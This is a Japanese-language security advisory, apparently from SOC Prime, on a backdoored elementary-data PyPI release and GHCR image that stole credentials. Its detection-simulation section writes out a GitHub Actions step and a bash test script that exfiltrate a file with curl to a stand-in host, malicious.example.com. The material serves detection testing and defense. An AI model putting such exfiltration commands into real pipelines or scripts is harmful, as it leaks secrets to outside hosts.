SOC Prime Bias: クリティカル

29 Apr 2026 14:42 UTC

偽のGitHubリリースを介してPyPIおよびGHCRでElementary-dataが侵害される

Author Photo
SOC Prime Team linkedin icon フォローする
偽のGitHubリリースを介してPyPIおよびGHCRでElementary-dataが侵害される
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

悪質なバージョンの elementary-data Pythonパッケージ、バージョン 0.23.3がPyPIにアップロードされ、それと一致する改ざんされたコンテナイメージがGitHub Container Registryにもプッシュされました。攻撃者は悪意のあるコードをGitHub Actionsのワークフローに挿入し、署名されたリリースを偽造してからワークフロートークンを濫用してバックドア付きアーティファクトを公開しました。このペイロードは三段階の資格情報盗難ツールとして機能し、秘密を収集し、攻撃者が制御するドメインに流出させるように設計されていました。影響を受けたパッケージをインストールしたり最新のコンテナイメージをプルした環境はすべて、危険にさらされています。

調査

調査では、攻撃は直接ワークフロースクリプトに挿入されたオープンプルリクエストのコメントから始まったことが判明しました。このコメントによってスクリプトインジェクションが可能になりました。ワークフローの GITHUB_TOKENを利用して、攻撃者は偽造されたリリースコミットを作成し、発行プロセスをトリガーしました。このプロセスにより、トロイの木馬化されたホイールとDockerイメージが配布されました。解析により、悪質な .pth ファイルがBase64ラッパーをデコードし、最終コレクションコンポーネントを復号し、広範な資格情報を収集してから、 curl.

を通じてカスタムの指揮統制ドメインに送信することが判明しました。

プロジェクトメンテナーは悪質なパッケージバージョンをPyPIから削除し、ガチコンプロミスされたイメージをGHCRから削除して、クリーンな代替品のバージョン 0.23.4を公開しました。StepSecurityはHarden-Runnerブロックリストに悪質なパッケージバージョンと攻撃者が制御するドメインを追加し、プルリクエストの実行中にパッケージをブロックしました。開発者はパッケージバージョンとイメージダイジェストを正確にピン留めし、浮動タグに依存せず、予期しない .pth ファイルに対してインストールされた依存関係を監査する必要があります。

対応

ディフェンダーは elementary.pthsite-packages 内に存在するかを調査し、疑わしいDockerイメージダイジェストを取得したシステムを特定する必要があります。既知の指揮統制ドメインへのアウトバウンド接続をすぐにブロックする必要があります。セキュリティチームは開発者のワークステーションとビルド環境をスキャンして公開された秘密情報を検出し、危険にさらされたパッケージを除去し、影響を受けた資格情報を更新するべきです。CI/CDパイプラインを更新してパッケージの出処を検証し、厳格なイメージピンニングを強制する必要もあります。

アタックフロー

## シミュレーション実行

前提条件: テレメトリ & ベースラインのプレフライトチェックを通過している必要があります。

根拠:このセクションでは、検出ルールをトリガーするために設計された敵の技術戦術手段(TTP)の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目的としています。

  • 攻撃の話 & コマンド:
    攻撃者はGitHub ActionsをCI/CDに使用するリポジトリを侵害しました。彼らはワークフローファイルに悪意のあるステップを追加します:

    - name: データを流出
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    ワークフローがGitHub Actionsランナーで実行されると、プロセスツリーは次のように見えます:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (親プロセス)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (子プロセス)

    The auditd ステップ2の記録には、Sigma条件を満たすコマンドラインが含まれています。 bash and curl --data-binary

  • 回帰テストスクリプト:

    #!/usr/bin/env bash
    #
    # 検出ルールをトリガーする悪意のあるGitHub Actionsステップをシミュレートします。
    # 一時的なファイルを作成し、ダミーデータを書き込み、それをbashでラップしたcurlを使用して流出させます。
    
    set -euo pipefail
    
    # 1. ダミーの秘密データを作成
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. 脆弱なパターンを利用して流出を実行
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. テスターへの確認出力
    echo "悪意のある流出がシミュレートされました;一時ファイル$tmpfileはクリーンアップで削除されるべきです。"
  • クリーンアップコマンド:

    #!/usr/bin/env bash
    # シミュレーション中に作成された一時ファイルを削除
    rm -f /tmp/secret_data.*
    
    # オプションですが、残存しているかもしれないcurlプロセスを停止(必要ないはず)
    pkill -f "curl --data-binary" || true